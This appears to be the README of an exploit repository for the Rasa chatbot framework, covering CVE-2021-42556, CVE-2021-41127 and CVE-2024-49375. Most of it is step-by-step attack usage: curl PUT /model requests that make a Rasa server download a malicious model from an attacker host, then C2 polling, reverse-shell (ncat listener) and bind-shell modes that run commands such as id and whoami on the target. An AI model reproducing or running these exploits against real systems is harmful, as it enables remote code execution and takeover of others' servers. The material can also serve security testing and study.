"# Rasa-cve-exp"

##  CVE-2021-42556

* server-1.py

直接运行即可

```bash
python server-1.py
```

![image-20260604134536291](https://raw.githubusercontent.com/lierbushiwo/image/master/20260604134537435.png)



### 任意文件上传

```http
PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage1","wait_time_between_pulls":0}}
```

![image-20260604135046296](https://raw.githubusercontent.com/lierbushiwo/image/master/20260604135047299.png)

效果如下：

![image-20260604135232815](https://raw.githubusercontent.com/lierbushiwo/image/master/20260604135234120.png)



## CVE-2021-41127

* server-1.py

默认模型名evil_import_model.tar.gz

恶意模型demo 

```yaml
version: "3.1"
intents:
- greet
responses:
  utter_greet:
  - text: "PWNED_BY_CTF"
nlu:
- intent: greet
  examples: |
    - hello
    - hi
rules:
- rule: greet rule
  steps:
  - intent: greet
  - action: utter_greet
```

> 设定恶意对话规则
>
> 输入`greet` 返回`PWNED_BY_CTF`

```http
PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage2-probe-model","wait_time_between_pulls":0}
```

![image-20260604134831347](https://raw.githubusercontent.com/lierbushiwo/image/master/20260604134832891.png)

效果如下

![image-20260604140230431](https://raw.githubusercontent.com/lierbushiwo/image/master/20260604140232617.png)

## CVE-2024-49375

* model.py
* reverse_server.py

model.py修改压缩包内的指定数据

直接运行 默认读取/model目录模型 修改保存当当前目录evil_import_model.tar.gz

![image-20260604143558105](https://raw.githubusercontent.com/lierbushiwo/image/master/20260604143559384.png)

指定反弹ip

默认模型名evil_import_model.tar.gz

```bash
python reverse_server.py --reverse-host 192.168.244.128
```

![image-20260604140728541](https://raw.githubusercontent.com/lierbushiwo/image/master/20260604140730472.png)

依次发送数据即可

## 其他利用姿势exp

实际场景下有所不同

* server-2.py 

### 三种模式

------

#### C2 模式（HTTP 轮询，推荐）

```
攻击机                     Rasa容器(target)
  │                            │
  ├─ 启动 server-2.py ─────────┤
  ├─ PUT /model ──→ 下载 pwnmod.py 到 /app/
  ├─ PUT /model ──→ 下载恶意模型 → import pwnmod → agent 启动
  │                            │
  │  ← GET /poll?agent=xxx ───┤  每 3s 轮询
  ├─ /enqueue?cmd=id ─────────┤
  │  ← GET /poll ─────────────┤  拿到命令
  │  ← POST /result ──────────┤  回传结果
  ├─ /last?agent=xxx ──→ 读结果
```

```bash
# 攻击机启动
python server-2.py --mode c2 --c2-base-url http://<攻击机IP>:8000 --port 8000

# 触发 exploit（两步）
curl -X PUT http://<rasa地址>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<攻击机IP>:8000/write-module"}}'

curl -X PUT http://<rasa地址>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<攻击机IP>:8000/model"}}'

# 下发命令
curl "http://<攻击机IP>:8000/enqueue?cmd=id"

# 等 8 秒后读结果（agent 每 3s 轮询 + 执行时间）
curl "http://<攻击机IP>:8000/last?agent=<hostname>"

# 不指定 agent 也行（走通配符）
curl "http://<攻击机IP>:8000/enqueue?cmd=whoami"
curl "http://<攻击机IP>:8000/last"
```

------

#### Reverse 模式（反向 Shell）

```bash
# 1) 攻击机启动监听
ncat -lvnp 4444

# 2) 攻击机启动 server-2.py
python server-2.py --mode reverse --reverse-host <攻击机IP> --reverse-port 4444 --port 8000

# 3) 触发 exploit
curl -X PUT http://<rasa地址>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<攻击机IP>:8000/write-module"}}'

curl -X PUT http://<rasa地址>:5005/model \
  -H "Content-Type: application/json" \
  -d '{"model_server": {"url": "http://<攻击机IP>:8000/model"}}'

# 4) nc 收到 $ 提示符，直接交互
```

------

#### Bind 模式（正向 Shell，不常用）

```bash
python server-2.py --mode bind --bind-port 4444 --port 8000
# agent 在目标容器内监听 0.0.0.0:4444
# ncat <目标IP> 4444 即可连接
```

------

### 端口/地址说明

| 参数             | 含义                                                         |
| ---------------- | ------------------------------------------------------------ |
| `--port 8000`    | server-2.py 自身的监听端口                                   |
| `--c2-base-url`  | C2 模式下 agent 轮询的完整 base URL（**必须是容器能访问到的地址**） |
| `--reverse-host` | 反弹 Shell 的目标 IP                                         |
| `--reverse-port` | 反弹 Shell 的目标端口                                        |
